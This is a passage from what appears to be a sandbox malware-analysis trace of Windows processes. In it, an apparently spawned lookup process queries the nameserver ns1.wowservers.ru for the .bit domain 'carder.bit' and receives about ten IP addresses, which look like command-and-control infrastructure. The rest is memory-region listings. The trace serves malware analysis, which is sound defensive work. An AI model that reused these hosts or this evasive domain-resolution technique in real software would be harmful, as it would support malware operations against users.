	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 1170
	        start_va = 0x74150000
	          end_va = 0x74195fff
	     entry_point = 0x74150000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 1171
	        start_va = 0x74b10000
	          end_va = 0x74b2afff
	     entry_point = 0x74b10000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 1172
	        start_va = 0x4710000
	          end_va = 0x4713fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004710000"
	        filename = ""


Thread:
	id = 30
	os_tid = 0x790

	[0084.952] GetModuleHandleA (lpModuleName=0x0) returned 0x250000
	[0084.952] __set_app_type (_Type=0x1) 
	[0084.952] __p__fmode () returned 0x77ac4d6c
	[0084.952] __p__commode () returned 0x77ac5b1c
	[0084.952] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x25cf30) returned 0x0
	[0084.952] __getmainargs (in: _Argc=0x261888, _Argv=0x26188c, _Env=0x261890, _DoWildCard=0, _StartInfo=0x26189c | out: _Argc=0x261888, _Argv=0x26188c, _Env=0x261890) returned 0
	[0084.953] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0084.953] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0084.955] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x262120 | out: lpWSAData=0x262120) returned 0
	[0084.959] socket (af=2, type=2, protocol=0) returned 0xc4
	[0084.960] closesocket (s=0xc4) returned 0
	[0084.960] RtlIpv4StringToAddressA () returned 0x0
	[0084.960] RtlInitString (in: DestinationString=0x42ef7a0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") 
	[0084.960] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef7a8, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0
	[0084.960] NtOpenKey (in: KeyHandle=0x42ef7d8, DesiredAccess=0x20019, ObjectAttributes=0x42ef788*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x42ef7d8*=0xc4) returned 0x0
	[0084.961] RtlFreeAnsiString (AnsiString="\\") 
	[0084.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef794, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0
	[0084.961] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x432f100, Length=0x400, ResultLength=0x42ef79c | out: KeyValueInformation=0x432f100, ResultLength=0x42ef79c) returned 0xc0000034
	[0084.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef794, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0
	[0084.961] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x432f100, Length=0x400, ResultLength=0x42ef79c | out: KeyValueInformation=0x432f100*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x42ef79c) returned 0x0
	[0084.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x42ef78c, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0
	[0084.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef794, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0
	[0084.961] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x432f100, Length=0x400, ResultLength=0x42ef79c | out: KeyValueInformation=0x432f100, ResultLength=0x42ef79c) returned 0xc0000034
	[0084.961] RtlInitString (in: DestinationString=0x42ef7a0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") 
	[0084.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef7a8, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0
	[0084.961] NtOpenKey (in: KeyHandle=0x42ef7c4, DesiredAccess=0x20019, ObjectAttributes=0x42ef788*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x42ef7c4*=0x0) returned 0xc0000034
	[0084.961] RtlFreeAnsiString (AnsiString="\\") 
	[0084.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef794, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0
	[0084.962] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x432f100, Length=0x400, ResultLength=0x42ef79c | out: KeyValueInformation=0x432f100, ResultLength=0x42ef79c) returned 0xc0000034
	[0084.962] RtlAnsiStringToUnicodeString (in: DestinationString=0x42ef794, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0
	[0084.962] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x432f100, Length=0x400, ResultLength=0x42ef79c | out: KeyValueInformation=0x432f100, ResultLength=0x42ef79c) returned 0xc0000034
	[0084.962] gethostname (in: name=0x4772300, namelen=12800 | out: name="LHnIwsj") returned 0
	[0085.414] getenv (_VarName="HOME") returned 0x0
	[0085.414] RtlIpv4StringToAddressA () returned 0xc000000d
	[0085.414] RtlIpv6StringToAddressExA (AddressString="ns1.wowservers.ru", Address=0x42ef830, ScopeId=0x42ef840, Port=0x42ef82a) returned 0xc000000d
	[0085.414] RtlRestoreLastWin32Error () returned 0x2550
	[0085.414] getaddrinfo (in: pNodeName="ns1.wowservers.ru", pServiceName=0x0, pHints=0x0, ppResult=0x42ef7f8 | out: ppResult=0x42ef7f8*=0x432ccf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43364d0*(sa_family=2, sin_port=0x0, sin_addr="94.249.60.127"), ai_next=0x432cbd8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43365c0*(sa_family=2, sin_port=0x0, sin_addr="189.75.183.21"), ai_next=0x432cd40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43365f0*(sa_family=2, sin_port=0x0, sin_addr="94.183.71.48"), ai_next=0x0)))) returned 0
	[0085.559] FreeAddrInfoW (pAddrInfo=0x432ccf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43364d0*(sa_family=2, sin_port=0x0, sin_addr="94.249.60.127"), ai_next=0x432cbd8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43365c0*(sa_family=2, sin_port=0x0, sin_addr="189.75.183.21"), ai_next=0x432cd40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x43365f0*(sa_family=2, sin_port=0x0, sin_addr="94.183.71.48"), ai_next=0x0)))) 
	[0085.561] _vsnprintf_s (in: _DstBuf=0x42ef6d8, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x42df6a0 | out: _DstBuf="127.60.249.94.in-addr.arpa.") returned 27
	[0085.561] htons (hostshort=0x1) returned 0x100
	[0085.561] htons (hostshort=0x1) returned 0x100
	[0085.562] socket (af=2, type=2, protocol=0) returned 0x190
	[0085.562] connect (s=0x190, name=0x4770d28*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0085.563] send (in: s=0x190, buf=0x42df6d8*, len=44, flags=0 | out: buf=0x42df6d8*) returned 44
	[0085.563] select (in: nfds=400, readfds=0x42cf2d8, writefds=0x0, exceptfds=0x0, timeout=0x42cf2a8 | out: readfds=0x42cf2d8, writefds=0x0, exceptfds=0x0) returned 0
	[0087.566] printf (_Format="DNS request timed out.\n") returned 23
	[0087.566] printf (_Format="    timeout was %d seconds.\n") returned 27
	[0087.566] closesocket (s=0x190) returned 0
	[0087.566] RtlIpv4AddressToStringExA () returned 0xc000000d
	[0087.579] strcpy_s (in: _Dst=0x47711f0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0
	[0087.579] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x432f010
	[0087.579] strcpy_s (in: _Dst=0x262020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0
	[0087.579] __iob_func () returned 0x77ac1208
	[0087.579] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x42ef5a0, nSize=0x0, Arguments=0x42ef5a4 | out: lpBuffer="\x08j3\x04´õ.\x04Äõ.\x045´%") returned 0x7
	[0087.579] fprintf (in: _File=0x77ac1228, _Format="%-7s  %s" | out: _File=0x77ac1228) returned 16
	[0087.579] fprintf (in: _File=0x77ac1228, _Format="\nAddress:" | out: _File=0x77ac1228) returned 9
	[0087.579] inet_ntoa (in=0x7f3cf95e) returned="94.249.60.127"
	[0087.579] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.579] fprintf (in: _File=0x77ac1228, _Format="\n\n" | out: _File=0x77ac1228) returned 2
	[0087.579] RtlIpv4StringToAddressA () returned 0xc000000d
	[0087.579] RtlIpv6StringToAddressExA (AddressString="carder.bit", Address=0x42ef580, ScopeId=0x42ef590, Port=0x42ef57a) returned 0xc000000d
	[0087.580] RtlRestoreLastWin32Error () returned 0x2550
	[0087.580] RtlIpv4StringToAddressA () returned 0xc000000d
	[0087.580] RtlIpv6StringToAddressExA (AddressString="carder.bit", Address=0x42ef508, ScopeId=0x42ef518, Port=0x42ef502) returned 0xc000000d
	[0087.580] RtlRestoreLastWin32Error () returned 0x2550
	[0087.580] sprintf_s (in: _DstBuf=0x42ef270, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="carder.bit.") returned 11
	[0087.580] htons (hostshort=0x2) returned 0x200
	[0087.580] htons (hostshort=0x1) returned 0x100
	[0087.580] socket (af=2, type=2, protocol=0) returned 0x190
	[0087.580] connect (s=0x190, name=0x432f030*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0087.580] send (in: s=0x190, buf=0x42df270*, len=28, flags=0 | out: buf=0x42df270*) returned 28
	[0087.580] select (in: nfds=400, readfds=0x42cee70, writefds=0x0, exceptfds=0x0, timeout=0x42cee40 | out: readfds=0x42cee70, writefds=0x0, exceptfds=0x0) returned 1
	[0087.705] recv (in: s=0x190, buf=0x42cf230, len=65536, flags=0 | out: buf=0x42cf230*) returned 188
	[0087.705] closesocket (s=0x190) returned 0
	[0087.705] htons (hostshort=0x100) returned 0x1
	[0087.705] htons (hostshort=0xa00) returned 0xa
	[0087.705] htons (hostshort=0x0) returned 0x0
	[0087.705] htons (hostshort=0x0) returned 0x0
	[0087.705] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x43384c8
	[0087.707] sprintf_s (in: _DstBuf=0x42ef270, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="carder.bit.") returned 11
	[0087.707] htons (hostshort=0x3) returned 0x300
	[0087.707] htons (hostshort=0x1) returned 0x100
	[0087.707] socket (af=2, type=2, protocol=0) returned 0x190
	[0087.707] connect (s=0x190, name=0x432f030*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0087.707] send (in: s=0x190, buf=0x42df270*, len=28, flags=0 | out: buf=0x42df270*) returned 28
	[0087.707] select (in: nfds=400, readfds=0x42cee70, writefds=0x0, exceptfds=0x0, timeout=0x42cee40 | out: readfds=0x42cee70, writefds=0x0, exceptfds=0x0) returned 1
	[0087.829] recv (in: s=0x190, buf=0x42cf230, len=65536, flags=0 | out: buf=0x42cf230*) returned 570
	[0087.829] closesocket (s=0x190) returned 0
	[0087.829] htons (hostshort=0x100) returned 0x1
	[0087.829] htons (hostshort=0x0) returned 0x0
	[0087.829] htons (hostshort=0x1100) returned 0x11
	[0087.829] htons (hostshort=0x0) returned 0x0
	[0087.829] htons (hostshort=0x100) returned 0x1
	[0087.829] htons (hostshort=0x0) returned 0x0
	[0087.830] htons (hostshort=0x100) returned 0x1
	[0087.830] htons (hostshort=0x0) returned 0x0
	[0087.830] htons (hostshort=0x1100) returned 0x11
	[0087.832] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x42ef538, nSize=0x0, Arguments=0x42ef53c | out: lpBuffer="xj3\x04Lõ.\x04\\õ.\x045´%") returned 0x5
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%-7s  %s" | out: _File=0x77ac1228) returned 19
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\nAddresses:" | out: _File=0x77ac1228) returned 11
	[0087.832] inet_ntoa (in=0x6ea76955) returned="85.105.167.110"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.832] inet_ntoa (in=0x164dd6d5) returned="213.214.77.22"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.832] inet_ntoa (in=0x9695f75c) returned="92.247.149.150"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.832] inet_ntoa (in=0x1e3f1f4e) returned="78.31.63.30"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 13
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.832] inet_ntoa (in=0x6b2c685f) returned="95.104.44.107"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.832] inet_ntoa (in=0x165b2c4) returned="196.178.101.1"
	[0087.832] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.833] inet_ntoa (in=0xf67b7a56) returned="86.122.123.246"
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.833] inet_ntoa (in=0x329430b2) returned="178.48.148.50"
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.833] inet_ntoa (in=0x535e054) returned="84.224.53.5"
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 13
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0087.833] inet_ntoa (in=0x8a30774f) returned="79.119.48.138"
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0087.833] fprintf (in: _File=0x77ac1228, _Format="\n\n" | out: _File=0x77ac1228) returned 2
	[0087.833] LocalFree (hMem=0x432f010) returned 0x0
	[0087.833] exit (_Code=0) 

Thread:
	id = 35
	os_tid = 0x244


Process:
	id = "7"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x8785000"
	os_pid = "0xbf8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0x950"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 1081
	        start_va = 0x7f4fd000
	          end_va = 0x7f4fdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f4fd000"
	        filename = ""

Region:
	              id = 1082
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1083
	        start_va = 0xb50fca0000
	          end_va = 0xb50fcbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fca0000"
	        filename = ""

Region:
	              id = 1084
	        start_va = 0xb50fcc0000
	          end_va = 0xb50fcd3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50fcc0000"
	        filename = ""

Region:
	              id = 1085
	        start_va = 0xb50fce0000
	          end_va = 0xb50fd1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fce0000"
	        filename = ""

Region:
	              id = 1086
	        start_va = 0x7df5ffe00000
	          end_va = 0x7ff5ffdfffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffe00000"
	        filename = ""

Region:
	              id = 1087
	        start_va = 0x7ff6c45e0000
	          end_va = 0x7ff6c4602fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c45e0000"
	        filename = ""

Region:
	              id = 1088
	        start_va = 0x7ff6c460a000
	          end_va = 0x7ff6c460afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c460a000"
	        filename = ""

Region:
	              id = 1089
	        start_va = 0x7ff6c460e000
	          end_va = 0x7ff6c460ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c460e000"
	        filename = ""

Region:
	              id = 1090
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 1091
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1092
	        start_va = 0xb50fdc0000
	          end_va = 0xb50febffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fdc0000"
	        filename = ""

Region:
	              id = 1093
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1094
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1095
	        start_va = 0xb50fca0000
	          end_va = 0xb50fcaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50fca0000"
	        filename = ""

Region:
	              id = 1096
	        start_va = 0xb50fcb0000
	          end_va = 0xb50fcb6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fcb0000"
	        filename = ""

Region:
	              id = 1097
	        start_va = 0xb50fd20000
	          end_va = 0xb50fd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fd20000"
	        filename = ""

Region:
	              id = 1098
	        start_va = 0xb50fd60000
	          end_va = 0xb50fd60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50fd60000"
	        filename = ""

Region:
	              id = 1099
	        start_va = 0xb50fd70000
	          end_va = 0xb50fd76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fd70000"
	        filename = ""

Region:
	              id = 1100
	        start_va = 0xb50fd80000
	          end_va = 0xb50fd80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fd80000"
	        filename = ""

Region:
	              id = 1101
	        start_va = 0xb50fd90000
	          end_va = 0xb50fd90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50fd90000"
	        filename = ""

Region:
	              id = 1102
	        start_va = 0xb50fec0000
	          end_va = 0xb50ff7dfff
	     entry_point = 0xb50fec0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1103
	        start_va = 0xb510030000
	          end_va = 0xb51003ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b510030000"
	        filename = ""

Region:
	              id = 1104
	        start_va = 0xb510040000
	          end_va = 0xb5101c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b510040000"
	        filename = ""

Region:
	              id = 1105
	        start_va = 0xb5101d0000
	          end_va = 0xb510350fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b5101d0000"
	        filename = ""

Region:
	              id = 1106
	        start_va = 0xb510360000
	          end_va = 0xb51175ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b510360000"
	        filename = ""

Region:
	              id = 1107
	        start_va = 0x7ff6c44e0000
	          end_va = 0x7ff6c45dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c44e0000"
	        filename = ""

Region:
	              id = 1108
	        start_va = 0x7ff6c460c000
	          end_va = 0x7ff6c460dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c460c000"
	        filename = ""

Region:
	              id = 1109
	        start_va = 0x7ffbed4e0000
	          end_va = 0x7ffbed53ffff
	     entry_point = 0x7ffbed4e0000
	     region_type = mapped_file
	            name = "conhostv1.dll"
	        filename = "\\Windows\\System32\\ConhostV1.dll" (normalized: "c:\\windows\\system32\\conhostv1.dll")

Region:
	              id = 1110
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1111
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1112
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1113
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1114
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1115
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1116
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1117
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1118
	        start_va = 0xb50fda0000
	          end_va = 0xb50fda3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50fda0000"
	        filename = ""

Region:
	              id = 1119
	        start_va = 0xb50fdb0000
	          end_va = 0xb50fdb4fff
	     entry_point = 0xb50fdb0000
	     region_type = mapped_file
	            name = "user32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")

Region:
	              id = 1120
	        start_va = 0xb50ff80000
	          end_va = 0xb50ffbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50ff80000"
	        filename = ""

Region:
	              id = 1121
	        start_va = 0xb50ffc0000
	          end_va = 0xb50ffc1fff
	     entry_point = 0xb50ffc0000
	     region_type = mapped_file
	            name = "conhostv1.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\ConhostV1.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv1.dll.mui")

Region:
	              id = 1122
	        start_va = 0xb50ffd0000
	          end_va = 0xb50ffd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50ffd0000"
	        filename = ""

Region:
	              id = 1123
	        start_va = 0xb50ffe0000
	          end_va = 0xb50ffe6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b50ffe0000"
	        filename = ""

Region:
	              id = 1124
	        start_va = 0xb50fff0000
	          end_va = 0xb50fff1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b50fff0000"
	        filename = ""

Region:
	              id = 1125
	        start_va = 0xb511810000
	          end_va = 0xb51181ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b511810000"
	        filename = ""

Region:
	              id = 1126
	        start_va = 0xb511820000
	          end_va = 0xb511b56fff
	     entry_point = 0xb511820000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1127
	        start_va = 0xb511b60000
	          end_va = 0xb511c17fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b511b60000"
	        filename = ""

Region:
	              id = 1128
	        start_va = 0x7ff6c4608000
	          end_va = 0x7ff6c4609fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c4608000"
	        filename = ""

Region:
	              id = 1129
	        start_va = 0x7ffbfb2d0000
	          end_va = 0x7ffbfb543fff
	     entry_point = 0x7ffbfb2d0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll")

Region:
	              id = 1130
	        start_va = 0x7ffbfe9a0000
	          end_va = 0x7ffbfe9c1fff
	     entry_point = 0x7ffbfe9a0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 1131
